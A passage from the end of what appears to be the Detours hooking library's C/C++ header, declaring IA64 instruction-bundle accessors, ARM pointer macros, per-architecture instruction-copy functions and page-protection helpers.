1099 |     static UINT64 GetImm13c(UINT64 instruction);
1100 |     static UINT64 SetImm13c(UINT64 instruction, UINT64 imm13c);
1101 |     static UINT64 GetSignBit(UINT64 instruction);
1102 |     static UINT64 SetSignBit(UINT64 instruction, UINT64 signBit);
1103 |     static UINT64 GetImm20a(UINT64 instruction);
1104 |     static UINT64 SetImm20a(UINT64 instruction, UINT64 imm20a);
1105 |     static UINT64 GetImm20b(UINT64 instruction);
1106 |     static UINT64 SetImm20b(UINT64 instruction, UINT64 imm20b);
1107 | 
1108 |     static UINT64 SignExtend(UINT64 Value, UINT64 Offset);
1109 | 
1110 |     BOOL    IsMovlGp() const;
1111 | 
1112 |     VOID    SetInst(BYTE Slot, BYTE nInst);
1113 |     VOID    SetInst0(BYTE nInst);
1114 |     VOID    SetInst1(BYTE nInst);
1115 |     VOID    SetInst2(BYTE nInst);
1116 |     VOID    SetData(BYTE Slot, UINT64 nData);
1117 |     VOID    SetData0(UINT64 nData);
1118 |     VOID    SetData1(UINT64 nData);
1119 |     VOID    SetData2(UINT64 nData);
1120 |     BOOL    SetNop(BYTE Slot);
1121 |     BOOL    SetNop0();
1122 |     BOOL    SetNop1();
1123 |     BOOL    SetNop2();
1124 | 
1125 | public:
1126 |     BOOL    IsBrl() const;
1127 |     VOID    SetBrl();
1128 |     VOID    SetBrl(UINT64 target);
1129 |     UINT64  GetBrlTarget() const;
1130 |     VOID    SetBrlTarget(UINT64 target);
1131 |     VOID    SetBrlImm(UINT64 imm);
1132 |     UINT64  GetBrlImm() const;
1133 | 
1134 |     UINT64  GetMovlGp() const;
1135 |     VOID    SetMovlGp(UINT64 gp);
1136 | 
1137 |     VOID    SetStop();
1138 | 
1139 |     UINT    Copy(_Out_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra = NULL) const;
1140 | };
1141 | #endif // DETOURS_IA64
1142 | 
1143 | #ifdef DETOURS_ARM
1144 | 
1145 | #define DETOURS_PFUNC_TO_PBYTE(p)  ((PBYTE)(((ULONG_PTR)(p)) & ~(ULONG_PTR)1))
1146 | #define DETOURS_PBYTE_TO_PFUNC(p)  ((PBYTE)(((ULONG_PTR)(p)) | (ULONG_PTR)1))
1147 | 
1148 | #endif // DETOURS_ARM
1149 | 
1150 | //////////////////////////////////////////////////////////////////////////////
1151 | 
1152 | #ifdef __cplusplus
1153 | extern "C" {
1154 | #endif // __cplusplus
1155 | 
1156 | #define DETOUR_OFFLINE_LIBRARY(x)                                       \
1157 | PVOID WINAPI DetourCopyInstruction##x(_In_opt_ PVOID pDst,              \
1158 |                                       _Inout_opt_ PVOID *ppDstPool,     \
1159 |                                       _In_ PVOID pSrc,                  \
1160 |                                       _Out_opt_ PVOID *ppTarget,        \
1161 |                                       _Out_opt_ LONG *plExtra);         \
1162 |                                                                         \
1163 | BOOL WINAPI DetourSetCodeModule##x(_In_ HMODULE hModule,                \
1164 |                                    _In_ BOOL fLimitReferencesToModule); \
1165 | 
1166 |     DETOUR_OFFLINE_LIBRARY(X86)
1167 |         DETOUR_OFFLINE_LIBRARY(X64)
1168 |         DETOUR_OFFLINE_LIBRARY(ARM)
1169 |         DETOUR_OFFLINE_LIBRARY(ARM64)
1170 |         DETOUR_OFFLINE_LIBRARY(IA64)
1171 | 
1172 | #undef DETOUR_OFFLINE_LIBRARY
1173 | 
1174 |         //////////////////////////////////////////////////////////////////////////////
1175 |         //
1176 |         // Helpers for manipulating page protection.
1177 |         //
1178 | 
1179 |         _Success_(return != FALSE)
1180 |         BOOL WINAPI DetourVirtualProtectSameExecuteEx(_In_  HANDLE hProcess,
1181 |             _In_  PVOID pAddress,
1182 |             _In_  SIZE_T nSize,
1183 |             _In_  DWORD dwNewProtect,
1184 |             _Out_ PDWORD pdwOldProtect);
1185 | 
1186 |     _Success_(return != FALSE)
1187 |         BOOL WINAPI DetourVirtualProtectSameExecute(_In_  PVOID pAddress,
1188 |             _In_  SIZE_T nSize,
1189 |             _In_  DWORD dwNewProtect,
1190 |             _Out_ PDWORD pdwOldProtect);
1191 | 
1192 |     // Detours must depend only on kernel32.lib, so we cannot use IsEqualGUID
1193 |     BOOL WINAPI DetourAreSameGuid(_In_ REFGUID left, _In_ REFGUID right);
1194 | #ifdef __cplusplus
1195 | }
1196 | #endif // __cplusplus
1197 | 
1198 | //////////////////////////////////////////////////////////////////////////////
1199 | 
1200 | #define MM_ALLOCATION_GRANULARITY 0x10000
1201 | 
1202 | //////////////////////////////////////////////////////////////////////////////
1203 | 
1204 | #endif // DETOURS_INTERNAL
1205 | #endif // __cplusplus
1206 | 
1207 | #endif // _DETOURS_H_
1208 | //
1209 | ////////////////////////////////////////////////////////////////  End of File.
1210 | 


--------------------------------------------------------------------------------